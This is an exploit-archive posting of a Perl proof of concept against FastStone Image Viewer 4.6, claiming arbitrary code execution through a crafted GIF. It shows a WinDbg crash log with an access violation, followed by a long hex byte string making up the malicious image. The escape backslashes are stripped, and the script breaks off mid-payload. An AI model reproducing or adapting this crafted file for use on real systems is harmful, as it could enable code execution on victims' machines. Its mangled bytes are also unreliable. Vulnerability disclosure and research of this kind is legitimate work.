Home / exploitsPDF  

FastStone Image Viewer 4.6 Arbitrary Code Execution

Posted on 06 October 2012

#!/usr/bin/perl

# FastStone Image Viewer 4.6 <= ReadAVonIP Arbitrary Code Execution

# Author: Jean Pascal Pereira <pereira@secbiz.de>

# Vendor URI: http://www.faststone.org

# Vendor Description:
# An image browser, converter and editor that supports all major graphic formats including BMP, JPEG, JPEG 2000,
# GIF, PNG, PCX, TIFF, WMF, ICO, TGA and camera raw files. It has a nice array of features such as image viewing,
# management, comparison, red-eye removal, emailing, resizing, cropping, color adjustments, musical slideshow and much more.

# Debug info:
# Microsoft (R) Windows Debugger Version 6.11.0001.404 X86
# Copyright (c) Microsoft Corporation. All rights reserved.

# CommandLine: "C:Program FilesFastStone Image ViewerFSViewer.exe" C:
esearchfsviewcrafted.gif
# Symbol search path is: *** Invalid ***
# ****************************************************************************
# * Symbol loading may be unreliable without a symbol search path. *
# * Use .symfix to have the debugger choose a symbol path. *
# * After setting your symbol path, use .reload to refresh symbol locations. *
# ****************************************************************************
# Executable search path is:
# ModLoad: 00400000 00a5a000 image00400000
# ModLoad: 7c900000 7c9b2000 ntdll.dll
# ModLoad: 7c800000 7c8f6000 C:WINDOWSsystem32kernel32.dll
# ModLoad: 77dd0000 77e6b000 C:WINDOWSsystem32advapi32.dll
# ModLoad: 77e70000 77f03000 C:WINDOWSsystem32RPCRT4.dll
# ModLoad: 77fe0000 77ff1000 C:WINDOWSsystem32Secur32.dll
# ModLoad: 73b50000 73b67000 C:WINDOWSsystem32avifil32.dll
# ModLoad: 77c10000 77c68000 C:WINDOWSsystem32msvcrt.dll
# ModLoad: 7e410000 7e4a1000 C:WINDOWSsystem32USER32.dll
# ModLoad: 77f10000 77f59000 C:WINDOWSsystem32GDI32.dll
# ModLoad: 76b40000 76b6d000 C:WINDOWSsystem32WINMM.dll
# ModLoad: 774e0000 7761e000 C:WINDOWSsystem32ole32.dll
# ModLoad: 77be0000 77bf5000 C:WINDOWSsystem32MSACM32.dll
# ModLoad: 75a70000 75a91000 C:WINDOWSsystem32MSVFW32.dll
# ModLoad: 7c9c0000 7d1d7000 C:WINDOWSsystem32SHELL32.dll
# ModLoad: 77f60000 77fd6000 C:WINDOWSsystem32SHLWAPI.dll
# ModLoad: 773d0000 774d3000 C:WINDOWSWinSxSx86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.6028_x-ww_61e65202COMCTL32.dll
# ModLoad: 763b0000 763f9000 C:WINDOWSsystem32comdlg32.dll
# ModLoad: 77120000 771ab000 C:WINDOWSsystem32oleaut32.dll
# ModLoad: 74810000 7497e000 C:WINDOWSsystem32quartz.dll
# ModLoad: 77c00000 77c08000 C:WINDOWSsystem32version.dll
# ModLoad: 73000000 73026000 C:WINDOWSsystem32winspool.drv
# (dd8.ef4): Break instruction exception - code 80000003 (first chance)
# ModLoad: 76390000 763ad000 C:WINDOWSsystem32IMM32.DLL
# ModLoad: 5ad70000 5ada8000 C:WINDOWSsystem32uxtheme.dll
# ModLoad: 74720000 7476c000 C:WINDOWSsystem32MSCTF.dll
# ModLoad: 755c0000 755ee000 C:WINDOWSsystem32msctfime.ime
# ModLoad: 5edd0000 5ede7000 C:WINDOWSsystem32olepro32.dll
# ModLoad: 77920000 77a13000 C:WINDOWSsystem32SETUPAPI.dll
# ModLoad: 76990000 769b5000 C:WINDOWSsystem32
tshrui.dll
# ModLoad: 76b20000 76b31000 C:WINDOWSsystem32ATL.DLL
# ModLoad: 5b860000 5b8b5000 C:WINDOWSsystem32NETAPI32.dll
# ModLoad: 769c0000 76a74000 C:WINDOWSsystem32USERENV.dll
# ModLoad: 73bc0000 73bc6000 C:WINDOWSsystem32DCIMAN32.DLL
# ModLoad: 77b40000 77b62000 C:WINDOWSsystem32appHelp.dll
# ModLoad: 76fd0000 7704f000 C:WINDOWSsystem32CLBCATQ.DLL
# ModLoad: 77050000 77115000 C:WINDOWSsystem32COMRes.dll
# ModLoad: 77a20000 77a74000 C:WINDOWSSystem32cscui.dll
# ModLoad: 76600000 7661d000 C:WINDOWSSystem32CSCDLL.dll
# ModLoad: 76bf0000 76bfb000 C:WINDOWSsystem32psapi.dll
# ModLoad: 75f80000 7607d000 C:WINDOWSsystem32rowseui.dll
# (dd8.ef4): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=0000320e ebx=007fcdf2 ecx=0012c000 edx=00130000 esi=0011f7b8 edi=00000000
# eip=007cdea2 esp=0011f750 ebp=0011f770 iopl=0 nv up ei pl zr na pe nc
# cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
# *** WARNING: Unable to verify checksum for image00400000
# *** ERROR: Module load completed but symbols could not be loaded for image00400000
# image00400000+0x3cdea2:
# 007cdea2 893a mov dword ptr [edx],edi ds:0023:00130000=78746341
# 0:000> g;g;r;!exploitable -v;q
# (dd8.ef4): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# (dd8.ef4): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=00000000 ebx=00000000 ecx=00000000 edx=7c9032bc esi=00000000 edi=00000000
# eip=00000000 esp=0011efb0 ebp=0011efd0 iopl=0 nv up ei pl zr na pe nc
# cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
# 00000000 ?? ???
# HostMachineHostUser
# Executing Processor Architecture is x86
# Debuggee is in User Mode
# Debuggee is a live user mode debugging session on the local machine
# Event Type: Exception
# *** ERROR: Symbol file could not be found. Defaulted to export symbols for ntdll.dll -
# Exception Faulting Address: 0x0
# First Chance Exception Type: STATUS_ACCESS_VIOLATION (0xC0000005)
# Exception Sub-Type: Read Access Violation

# Exception Hash (Major/Minor): 0x30337b6e.0x4a092676

# Stack Trace:
# Unknown
# ntdll!RtlConvertUlongToLargeInteger+0x6a
# ntdll!RtlConvertUlongToLargeInteger+0x3c
# ntdll!KiUserExceptionDispatcher+0xe
# ntdll!RtlConvertUlongToLargeInteger+0x3c
# ntdll!KiUserExceptionDispatcher+0xe
# image00400000+0x3ce1ad
# image00400000+0x3ce423
# Instruction Address: 0x0000000000000000

# Proof of Concept:

my $crafted =

"x47x49x46x38x39x61x32x00x32x00x84x00x00x8Cx8Ax8C".
"xC4xC6xC4xE4xE6xE4xA4xA6xA4xD4xD6xD4x9Cx9Ax9CxF4".
"xF6xF4xBCxBAxBCx94x92x94xCCxCExCCxECxEExECxDCxDE".
"xDCxB4xB2xB4xA4xA2xA4xFCxFExFCx8Cx8Ex8CxCCxCAxCC".
"xECxEAxECxACxAAxACxDCxDAxDCx9Cx9Ex9CxFCxFAxFCxBC".
"xBExBCx94x96x94xD4xD2xD4xF4xF2xF4xE4xE2xE4xE4xE4".
"xE4x00x00x00x00x00x00x00x00x00x00x00x00x21xFFx0B".
"x4Ex45x54x53x43x41x50x45x32x2Ex30x03x01x00x00x00".
"x21xF9x04x09x06x00x1Bx00x2Cx00x00x00x00x32x00x32".
"x00x00x05xFExE0x26x8Ex64x49x0Ax91x92x09x22x74x04".
"xD8x62xCEx74x5Dx0Ax99xE1x54x8ExA3x88x8Cx07xE0x71".
"x19x58x26x1Ax9Bx92x16xD1xF5x9Ex3ExE0x10x30x7Dx48".
"x12xC9xE5xB2x09xEDxFEx36x8CxA1x50x48x7Dx34x30x59".
"xADx09xD7x6Dx7Fx83xD4x6AxF9xC1x90xA9x49xDCxB6x57".
"xFAx20x8FxABx14x04x77x23x19x7Ax6Ex7Cx65x53x8Ax0F".
"x08x09x83x22x4Ex86x3Dx6Fx7Ex55x63x42x14x13x6Ax11".
"x2Cx1Bx02x91x86x6Fx62x8Bx55x05x82x5Ax02x3Bx9Dx1B".
"xA0x5Dx15x11x22x16x05x7Dx72x63x05x9Ax22x2Bx35x02".
"x3CxAAx22x6Cx50x15x0Ax11x69x1Bx0Bx13x01x03xB4xB6".
"xA7xACxBEx33x85x4Fx15xABx4ExD3x4Bx04x12xCCx23x91".
"x19x33x11x6DxD6x1Bx11x19xB0x6Ax1Ax10x17xA6xBFxD1".
"x4FxE5x24xADx3DxE1x8Fx22x13xB8xCExAEx25xDFx86xF2".
"xF3xBFxF0x3DxEExEExE9xE1xD7x8Fx5Dx1Bx03x23x52x49".
"x0AxD8x4Fx9Cx24x07xE5x0Cx76x41xD8xB0x44x2Fx3DxDD".
"x04xB6x61x58x51xE1x40x4Fx92x2Ax54x9CxF1xAFx07x0A".
"x49x5FxE9x46x92x50xB0x90xA5x21x8Ex23x3DxBAx91x28".
"x6Dx95xCAx5Fx17xBBx90x53x91x81xA7x8Ax94x37x47x8C".
"xF3x99xA1x27xCCxA0x48x93xDEx49xD1xF3xA7x8AxA3x23".
"x15x38x6Dx4Ax8Ex66x3Cx9Bx37x79x19xEAxB9x50xA9x4C".
"x2FxFAxF4x00xBDxE9x52x0FxA7x9Cx50x28x22xADx80xF6".
"x09x8BxB6xEDx90x7Ex0Dx26xA2xECx41xA4x25x1Dx64x0C".
"x6BxF6x26xDFx8DxDBx42x62x9Dx67x35x1Ex1ExC1x2Ax81".
"x01x26x01x97xE0x20x01xD4xC0x99xF8xFBx0Cx07xD4x19".
"x0AxD8x76x1AxD7x05xA6x41x79x4Ex0Cx5CxF6x57x33x70".
"x8Fx8Cx6Bx7Ax85xFBx34x71x98x4DxC8x0AxE0xADx2ExE4".
"x58xA8x66x42x21xCBx65x7Ex28x8Fx9Cx12x4ExA6xBBx6E".
"x28x1Cx6CxB0x16xE2x71x35x22x1Ex84x3Cx79xF3xE4x4B".
"xE1xEEx19xFEx30xDEx68x1Ax8Ax43xE5xAAxAExABx62x04".
"xE9x51xA8xEFxBBxBExE9xDFx17xABxAFx94x8Ax48x91xF3".
"x7CxB0xEExEAx4Fx30x2Dx37x14xF8xBCx10x00x21xF9x04".
"x09x06x00x1Cx00x2Cx00x00x00x00x32x00x32x00x84x8C".
"x8Ax8CxC4xC6xC4xE4xE6xE4xA4xA6xA4xD4xD6xD4x9Cx9A".
"x9CxF4xF6xF4xB4xB6xB4x94x92x94xCCxCExCCxECxEExEC".
"xDCxDExDCxACxAExACxA4xA2xA4xFCxFExFCxBCxBExBCx8C".
"x8Ex8CxCCxCAxCCxECxEAxECxDCxDAxDCx9Cx9Ex9CxFCxFA".
"xFCxBCxBAxBCx94x96x94xD4xD2xD4xF4xF2xF4xE4xE2xE4".
"xB4xB2xB4xE4xE4xE4x00x00x00x00x00x00x00x00x00x05".
"xFEx20x27x8Ex64x49x0Ax92x92x09xA2x94x49x12x6BxCE".
"x74x7Dx66x86x53x39x8Ex22x66x3Cx9Ex61x65x2BxD6x24".
"xB9x60xD0xC7x01x2Ax85x12xA3x94x83x7Cx2Ax99x4ExAB".
"x4Ex36x35x09xB2xDAxDEx2Fx1Cx24x76x47x55x32x0FxAB".
"xE6x55xB8x5Dx30x99xDDxD6x45xCFx9CxA4x9AxDEx7Ex4F".
"x63x22x02x7Ax61x7Cx64x7Ex52x02x5Bx23x83x4Fx15x77".
"x0Ax3Bx86x32x1Ax07x18x35x02x91x87x5Fx8Dx0Ax12x1A".
"x27x29x91x4Ax87x1Ax0Cx00x14x9Fx33x60x87x79x6Ex70".
"x34x69x8Ax1CxA5x10x10x00x1BxA9x24x12x56x87x2Ex77".
"x7FxB2xA5x00xB6xB5x96x25x8CxAEx78xBAx93x0CxC4x00".
"xC3x0DxB9x54x92xCAx25xC2xC3xC3xC4x11x24xC8x41xAC".
"xD5x1Cx1BxD8xCExB5x03xA9x89x64xBFxE0x1Cx09xB6xCF".
"xD8xCFx10x13x63x61x06xEBx24xC2xB5xE3xB6x0Fx22xDD".
"x3CxEAxEEx61x70x06x0Fx42x03x0ExE8xB4x54xB8x67x62".
"x40xBCx77xC3x2Ex4CxD8x45x88x61x89x00xF1x88xB9xC3".
"xA0x20x9Dx45x12x04x10x8Cx1Bx17x40x8ExB7x57x0CxDB".
"x17x14x20x87xCDx42x8Ax0Cx19x54xC4x8CxF9xF1xA2x85".
"x07x38x73x3Ex48x50xB3xA7xCFx6Ax2Fx15xA8x10xFAxE2".
"x27x07xA2x48x55xB8x08xF3xCDx22xA6x30x31x3DxF6x4C".
"x68xA5xD3x1Cx9Fx1DxC3xC4x10xF5xC4x5ExCFx0Ax5Cx95".
"xB0x08xABx24xE0x3AxAAx8Dx44x64xD5xE2xD5xE2x3Fx07".
"x19x5AxA8x31xABx8CxA2xD6x45xD4xEEx99xF4xA6x2BxEF".
"xD9xBDx0Ex02x92x95x55x4Dx00x17x64x0Bx4BxD8x3Dx19".
"xA8x68x17x48xBDxE4xD0x5Dx75x18x8Ax11x41x8CxFDx95".
"xA1xF1x54x16x66x25x06x3AxC1x31xACx00xB1x8Cx4Dx4D".
"x75x81xE5x02xD8x8ExDAxC1x99x9BxD0x5Dx86x77x2Ex3D".
"x35xA9xA5xB4x0Ex72xE7xEDx28x94x45x76xF3xBExDDx66".
"xF6x11xD8x57x88x33x35x6Ex63xD3x1ExE5x56xCCx80x93".
"x80xBCx50x23xE6x67x62x25x6FxA2x10x3Bx50x48xDBx57".
"x49x37x1AxE8xE5x1Dx17xA2xABx85x00x00x21xF9x04x09".
"x06x00x1Dx00x2Cx00x00x00x00x32x00x32x00x84x8Cx8A".
"x8CxC4xC6xC4xE4xE6xE4xA4xA6xA4xD4xD6xD4x9Cx9Ax9C".
"xF4xF6xF4xB4xB6xB4x94x92x94xCCxCExCCxECxEExECxAC".
"xAExACxDCxDExDCxA4xA2xA4xFCxFExFCxBCxBExBCx8Cx8E".
"x8CxCCxCAxCCxECxEAxECxACxAAxACxDCxDAxDCx9Cx9Ex9C".
"xFCxFAxFCxBCxBAxBCx94x96x94xD4xD2xD4xF4xF2xF4xB4".
"xB2xB4xE4xE2xE4xE4xE4xE4x00x00x00x00x00x00x05xFE".
"x60x27x8Ex64x49x0Ax92xA2x09xA2xA4x49x12x6BxCEx74".
"x7Dx6Ax86x63x39x8Ex22x6Ax3Cx9Ex61x65x2BxD6x24xB9".
"x60xD0xD7x01x2Ax85x12xA3xB4x83x7Cx2Ax99x4ExABx4E".
"x36x35x09xB2xDAxDEx2Fx1Cx24x76x47x55x32x0FxABxE6".
"x59xB8x5Dx30x99xDDxD6x45xCFx9DxA4x9AxDEx7Ex4Fx63".
"x22x02x7Ax61x7Cx64x7Ex52x02x5Bx23x83x4Fx16x77x0A".
"x3Bx86x5Cx2Fx35x02x91x87x5Fx8Dx0Ax12x1Cx27x29x91".
"x4Ax87x79x8Ax33x60xA2x49xA2x47x7AxA7x65x33x12x56".
"x87x2Ex77x7FxA4x99x4AxB3x8Bx5AxA9x78x80x63x8Dx25".
"xAFx61xBBx78x1DxB6x56xB8x8CxA1x70xC4x4Dx64x06x23".
"x89x64xB8xCCx1Dx0Ax6Ax77x72x4AxCFxD4x25xA0x56x1A".
"x22xC9x41xD3xDCxD1xBAxC5x86xDCx33xE2x3Cx28x73xEA".
"x26xD6x61x29xD2xF0x25xE6x56x2AxC2xCBxF0x96x61x2F".
"x2Ax34x04x54xC1xC4x1Ex09x17x03x35x08x24x67xB0xA1".
"xC3x33x29x04x12x54xC1x10x5Ex80x07x0Fx2Ex60xC4x78".
"x21x41x36x37xFCxD4x31x28x00x00x42x49x00x25xDCx21".
"x5Cx90xA7xA5x22x35x02x08x4Ex9Ax34x09x20x40x30x2D".
"x05x0Dx06x40x39x53x66x06x7Fx5AxB6x35x1Cx20x53x26".
"x02x06x1DxBCx3Dx71x89x07x66x51x94x00x1Ax88x60x69".
"x45xA8x3Ax0Ex13x8Ax42xD8x0AxE1x41x8Bx6BxF6x12xF4".
"x3CxC9x93x42xAEx7DxF0x36xCCxECxB9x75x40xA7xAFx68".
"xAFx2ExD0x5Ax32x42x37x5Dx21xA7x08x90xC1x61x2ExDB".
"x06x6FxD1xC0x92xF1x85x69x3Cx0Bx87xFAxCAx84x90xA1".
"x94xB2xB3x06x0Cx17x5BxC5x37x2BxCAx0Dx81x4Fx5Cx22".
"xCCxC8xC0x26x38x7Bx15x24x4BxBCx00x42x05xA4x34x24".
"x20x9Ex64xE8x91xD2x46x7Cx37x34xB6xD1x6Bx14xD8x66".
"x7DxF2x16xF9xB8x34x5Cx1Dx52x71x7Ex63xFBxEDx40x32".
"xB0xD7xF9x7CxA9x71xC4xCCx18x21xE5xFFx74x4Bx51xFD".
"x0ExB7x2ExE3xD3xC5x15x0AxC2xFCx21x15x48x57xA0x5B".
"x30xE3xDDx13xC5x16x0BxA5xD7x08x01x00x21xF9x04x09".
"x06x00x1Cx00x2Cx00x00x00x00x32x00x32x00x84x8Cx8A".
"x8CxC4xC6xC4xE4xE6xE4xA4xA6xA4xD4xD6xD4x9Cx9Ax9C".
"xF4xF6xF4xBCxBAxBCx94x92x94xCCxCExCCxECxEExECxAC".
"xAExACxDCxDExDCxA4xA2xA4xFCxFExFCx8Cx8Ex8CxCCxCA".
"xCCxECxEAxECxACxAAxACxDCxDAxDCx9Cx9Ex9CxFCxFAxFC".
"xBCxBExBCx94x96x94xD4xD2xD4xF4xF2xF4xB4xB2xB4xE4".
"xE2xE4xE4xE4xE4x00x00x00x00x00x00x00x00x00x05xFE".
"x20x27x8Ex64x49x0Ax91x92x09x62x94x45x11x6BxCEx74".
"x7Dx66x86x53x39x8Ex22x66x3Cx9Ex61x65x2BxD6x22xB9".
"x60xD0xC7x01x2Ax85x11xA3x94x83x7Cx2Ax99x4ExABx4E".
"x36x35x09xB2xDAxDEx2Fx1Cx24x76x47x55x32x0FxABxE6".
"x55xB8x5Dx30x99xDDxD6x45xCFx9CxA4x9AxDEx7Ex4Fx63".
"x22x02x7Ax61x7Cx64x7Ex52x02x5Bx23x83x4Fx15x77x0A".
"x3Bx86x5Cx2Fx35x02x91x87x5Fx8Dx0Ax11x1Bx27x29x91".
"x4Ax87x79x8Ax33x60xA2x49xA2x47x7AxA7x65x33x11x56".
"x87x2Ex77x7FxA4x99x4AxB3x8Bx5AxA9x78x80x63x8Dx25".
"xAFx61xBBx78x1CxB6x56xB8x8CxA1x70xC4x4Dx64x06x23".
"x89x64xB8xCCx1Cx0Ax6Ax77x72x4AxCFxD4x25xA0x56x19".
"x22xC9x41xD3xDCxD1xBAxC5x86xDCx33xE2x3Cx28x73xEA".
"x26xD6x61x29xD2xF0x25xE6x56x2AxC2xCBxF0x96x61x2F".
"x2Ax32x04x54xC1xC4x1Ex09x17x03x33x08x24x67xB0xA1".
"xC3x33x29x04x12x54xC1x10x9Ex82x89x12x5Fx64x73xC3".
"x4Fx9Dx3Fx2Dx02xEBx39xC4xF7x64xD3x3Bx87xF2xE2xB4".
"xC4xF0xA6xEDx61x05x96x41x58xC0x1CxD7x90x64x28x11".
"x29xADx6CxB3xC7xCEx01x38x2AxD7xECx05x9Bx97x6Bx1F".
"xBCx8Dx6Ex0Ex4AxEAx87x74xDAxCCx61x5Dx26x4Cx28x7A".
"x13x18x2Cx19x5Fx2AxCExD8x90xE0x42x81xA9xC5x18x31".
"x34xC5x25x89x01xADx23x08x48x78xF0x00x00x05xB0xCD".
"x78xFCxF4x72x09x2Bx23x03x9BxE0x30x98x10x60x00x5B".
"x00x6Dx01x7Cx0Dx04x04x6Ax8Bx97x93x0CxDDx39x50xA0".
"x6Dx60xC7x00x04xC3xA5x64xA3xD7xA8xA0x1Cx34x40xFE".
"xEBx98x6Dx01x02xCCx90xDEx12xB1x00x32xE0xD3x8Fx07".
"x9Fx11x3Dx3AxF3x63xD3x9Dx11x24xE0x35xB3xA4x08x0D".
"xA8x23x73x06x4Cx01x03x33x63x84x48x9Fx06xFCx18xB0".
"x06x06xEAx22xD4x16x93x99xB8x6ExE2x0Dx30x74x12x2A".
"x8Ex09x6ExE7x6Cx25x40x98xEExF0xD3x15xE1x6Dx2Fx34".
"xB0x30x81xFBx43x68x11xEFx04x38x10x00x03x72x62x21".
"x00x00x21xF9x04x09x06x00x1Cx00x2Cx00x00x00x00x32".
"x00x32x00x84x8Cx8Ax8CxC4xC6xC4xE4xE6xE4xA4xA6xA4".
"xD4xD6xD4x9Cx9Ax9CxF4xF6xF4xB4xB6xB4x94x92x94xCC".
"xCExCCxECxEExECxDCxDExDCxACxAExACxA4xA2xA4xFCxFE".
"xFCxBCxBExBCx8Cx8Ex8CxCCxCAxCCxECxEAxECxDCxDAxDC".
"x9Cx9Ex9CxFCxFAxFCxBCxBAxBCx94x96x94xD4xD2xD4xF4".
"xF2xF4xE4xE2xE4xB4xB2xB4xE4xE4xE4x00x00x00x00x00".
"x00x00x00x00x05xFEx20x27x8Ex64x49x0Ax92x92x09xA2".
"x94x49x12x6BxCEx74x7Dx66x86x53x39x8Ex22x66x3Cx9E".
"x61x65x2BxD6x24xB9x60xD0xC7x01x2Ax85x12xA3x94x83".
"x7Cx2Ax99x4ExABx4Ex36x35x09xB2xDAxDEx2Fx1Cx24x76".
"x47x55x32x0FxABxE6x55xB8x5Dx30x99xDDxD6x45xCFx9C".
"xA4x9AxDEx7Ex4Fx63x22x02x7Ax61x7Cx64x7Ex52x02x5B".
"x23x83x4Fx15x77x0Ax3Bx86x5Cx2Fx35x02x91x87x5Fx8D".
"x0Ax12x1Ax27x29x91x4Ax87x79x8Ax33x60xA2x49xA2x47".
"x7AxA7x65x33x12x56x87x2Ex77x7FxA4x99x4AxB3x8Bx5A".
"xA9x78x80x63x8Dx25xAFx61xBBx78x1CxB6x56xB8x8CxA1".
"x70xC4x4Dx64x06x23x89x64xB8xCCx1Cx0Ax6Ax77x72x4A".
"xCFxD4x25xA0x56x19x22xC9x41xD3xDCxD1xBAxC5x86xDC".
"x33xE2x3Cx28x73xEAx26xD6x61x29xD2xF0x25xE6x56x2A".
"xC2xCBxF0x96x61x2Fx2Ax32x04x54xC1xC4x1Ex09x17x03".
"x33x08x24x67xB0xA1xC3x33x29x04x12x54xC1x10x9Ex82".
"x89x12x5Fx64x73xC3x4Fx9Dx3Fx2Dx02xEBx39xC4xF7x64".
"xD3x3Bx87xF2xD6xB4xC4xF0xA6xEDx61x05x96x41x58xC0".
"x1CxD7x90x64x28x11x29xADx6CxB3xC7xCEx01x38x2AxD7".
"xECx05x9Bx97x6Bx1FxBCx8Dx6Ex0Ex4AxEAx87x74xDAxCC".
"x61x5Dx04x70x49x56xC1xC4xD0x20x87x34x1Cx88xD0x69".
"x0AxA4x58x72x18x9Ax92xA1x81x01x00x08x0Cx08x18x49".
"x43x6Ax14x8Fx9Fx5Ex2Ex91x65x00x01x80x5Dx08x03x02".
"x4Cx58xE0x49x81x01x96x98x80x40x6DxF1x72x6Ex5Dx08".
"x87xEDx22xB8x80x01xE7xCBxA5x3Fx2AxA2x31x7CxB6x72".
"x62x08x11x7CxA9x19x6CxA3xECxE5xBBx96x33x37xABxC3".
"x99xC6x86xC4x96x53x8Bx46x7Ax0Cx0Fx06x0Ax9FxEBx86".
"xD6x6Cx48xB2x8Dx05xA7x41xA7x06xB0xBAx8Dx19x66x1A".
"x30x34x88x7DxB6xB7x30xDBx5Dx34x24x18x80x58x35x4E".
"x5DxC8x89x69x98xF0xA0xC1x85xC3xC6xDDxFCx7Ex48x62".
"x01x86x00x16xD4x56x5BxD8xD1x48x08x00x21xF9x04x09".
"x06x00x1Bx00x2Cx00x00x00x00x32x00x32x00x00x37xFE".
"xE0x26x8Ex64x49x0Ax91x92x09x62x94x45x11x6BxCEx74".
"x7Dx66x86x53x39x8Ex22x66x3Cx9Ex61x65x2BxD6x22xB9".
"x60xD0xB7x01x2Ax85x11xA3x74x83x7Cx2Ax99x4ExABx4E".
"x36x35x09xB2xDAxDEx2Fx1Cx24x76x47x55x32x0FxABxE6".
"x55xB8x5Dx30x99xDDxD6x45xCFx9BxA4x9AxDEx7Ex4Fx63".
"x22x02x7Ax61x7Cx64x7Ex52x02x5Bx23x83x4Fx15x77x0A".
"x3Bx86x5Cx2Fx35x02x91x87x5Fx8Dx0Ax11x1Ax27x29x91".
"x4Ax87x79x8Ax33x60xA2x49xA2x47x7AxA7x65x33x11x56".
"x87x2Ex77x7FxA4x99x4AxB3x8Bx5AxA9x78x80x63x8Dx25".
"xAFx61xBBx78x1BxB6x56xB8x8CxA1x70xC4x4Dx64x06x23".
"x89x64xB8xCCx1Bx0Ax6Ax77x72x4AxCFxD4x25xA0x56x19".
"x22xC9x41xD3xDCxD1xBAxC5x86xDCx33xE2x3Cx28x73xEA".
"x26xD6x61x29xD2xF0x25xE6x56x2AxC2xCBxF0x96x61x2F".
"x2Ax32x04x54xC1xC4x1Ex09x17x03x33x08x24x67xB0xA1".
"xC3x33x09x2Cx48x3Cx60x81xA2x85x00x0Fx45x10xDCxB8".
"xF0x00x00x00x0Fx40x8Ax2CxB0xE0xA1x3Fx2Dx19xDDx02".
"x84x5Cx29x12x01x81x87x11xBCx5DxC1xC0x32xA4x48x8C".
"x0Ex83x69x89x30xE1xC2xC7x95x2Bx07x3Cx64xE7x80x45".
"x03x9Bx2Cx41xBEx34xA8x13x96x08x0Bx22x6Bx3Ex90xD0".
"xC9x1Ex51x70x1Bx26xD4x14x09x32x81xBDxA6xC7x44x68".
"x18xB0x75xE5x85x09xF0xB2x05xA9x40x02x42x59x90x05".
"xD0xAAx33xF6x04x97x86xA3x5Cx43x16x58xCAx4Cx00x97".
"x64x6Cx4BxD0x04xB9x32x6Ex20x4Ax5Dx20xC5x92x43x4E".
"x03x83xA8x7Bx73x39x30xC0xF0xDExAAxBFxADx66x2CxA0".
"x00x57xAExA0x27x06x36xC1xF1xABx00xB0x8Cx4CxC3x46".
"x10x40x10xD9x97xAEx47x32x1Bx4DxAAx3Cx22x81xDCx66".
"xD7x5Cx4Bx62xA6xB6x6ExB8x3AxA4xE2x00xC7x06xDCx01".
"x6Dx1Ax31xEBx14x12x76xBCx52xEFx25xBAx51xF2x3Bx93".
"x9Cx50xF4x50xCDxBBxA4x79xB2xDCx4Dx76x62x9FxAExE8".
"xAEx60x26xA3x27x15x77x10xF6xC2x13x02x00x21xF9x04".
"x09x06x00x1Bx00x2Cx00x00x00x00x32x00x32x00x00x05".
"xFExE0x26x8Ex64x49x0Ax91x92x09x62x94x45x11x6BxCE".
"x74x7Dx66x86x53x39x8Ex22x66x3Cx9Ex61x65x2BxD6x22".
"xB9x60xD0xB7x01x2Ax85x11xA3x74x83x7Cx2Ax99x4ExAB".
"x4Ex36x35x09xB2xDAxDEx2Fx1Cx24x76x47x55x32x0FxAB".
"xE6x55xB8x5Dx30x99xDDxD6x45xCFx9BxA4x9AxDEx7Ex4F".
"x13x13x22x02x7Ax61x7Cx64x7Ex52x04x08x05x81x22x84".
"x4Fx15x77x0Ax3Bx87x5Cx2Fx35x0Bx14x0Fx00x8Cx82x72".
"x15x0Ax11x1Ax27x29x94x4Ax88x79x5Bx33x1Ax0Cx9Bx9B".
"x14x8Dx4Dx6Ex70x34x69xAAx8Ex65x33x18x0FxAEx00x9C".
"x8Dx5Fx77x53x11xB7x5Fx4FxC2x22x1Ax0Dx00xAExBCxBF".
"x78x27x5Cx8Fx3Ax25x10xCEx9BxBExBCx9DxD0x37x61xC2".
"x1Ax03xBDxD7x00x17xB1xDCxB2x61x06x23x13xE2xD9xCC".
"x09xE7x24xC4x64x77x16xCCxF7xBDx12xA3xF1x23xD3xB9".
"x1Bx0DxDAx31x7Bx40x80x9FxBCx43x1Bx16x20x10xE7x6A".
"x80xC1x12xA6xACx08xC0x80xEFx9ExAFx00x0Fx0Fx7Ax0B".
"x50xB1x99xB9x87x02xE6x1Cx10xF8xA0xC0x82x8Cx23xDE".
"x04x44x54x92x21x81x85x97x30x5Fx62x44x89x26x83x0A".
"x9Bx19x6Cx22xA3xC9xB3xA7x91x14x36x55x28x50xB1x33".
"xE3xD0xA0x48x5Dx84x41x95x51x65x18x9BxF4x78x86x2C".
"x34x4Fx0Bx13x94x0AxE8x39xD5xA2x8Ex66x85x95x41x58".
"x80x0Dx52xF4xDCx54x2Dx15x44x64x4Dx87xD2x1Fx8Fx0C".
"x2DxD4x94xC5x53x55x8Bx30xB7xB7xE2xC9x39xA5x11x2D".
"x2Dx68xC6xECx42xF4x1Bx4Fx80x34x2Bx69x4BxD4x9DxE5".
"x69x2Ex8Dx49x88x94x2Ax29x0Bx06x55x12x03x8Ex53xEA".
"xB1xFCxCFx0Bx25x44x83x9Ex18x08x05xC7xB0x82x69xA0".
"x81x30x55xFCxD5xD2x21x49x63x83xA0xBAx64x23x46xBF".
"x36x77xF6x22xFEx2Bx45xF7x31x5Cx75x56x1BxF1xFDx1B".
"x5Dx9DxCCx33x22xC4xBEx32xA6x0Fx72x1Ax81xE7x34x27".
"x63xE6x9Cx72xE9xC6x11x3Fx1FxE6xCFx90xECxEDx74x27".
"x31xCFx5ExA1xBAx4Fx41x40xEFxB8x20xCDx2Dx04x00x21".
"xF9x04x09x06x00x1Bx00x2Cx00x00x00x00x32x00x32x00".
"x84x8Cx8Ax8CxC4xC6xC4xE4xE6xE4xA4xA6xA4xD4xD6xD4".
"xF4xF6xF4xB4xB6xB4x9Cx9Ax9CxECxEExECxACxAExACxDC".
"xDExDCx94x96x94xCCxCExCCxFCxFExFCxBCxBExBCxA4xA2".
"xA4x8Cx8Ex8CxECxEAxECxACxAAxACxDCxDAxDCxFCxFAxFC".
"xBCxBAxBCx9Cx9Ex9CxF4xF2xF4xB4xB2xB4xE4xE2xE4xD4".
"xD2xD4xE4xE4xE4x00x00x00x00x00x00x00x00x00x00x00".
"x00x05xFExE0x26x8Ex64x49x2Ax5Ax50x11x62x74x45x91".
"x60xCEx74x4Dx66x93x33x2Cx00x04x05xA2x4Bx63xD8x28".
"x5Cx64xB6xE4x2CxC3x18xF8x00x50x08x00xB8x11x12x89".
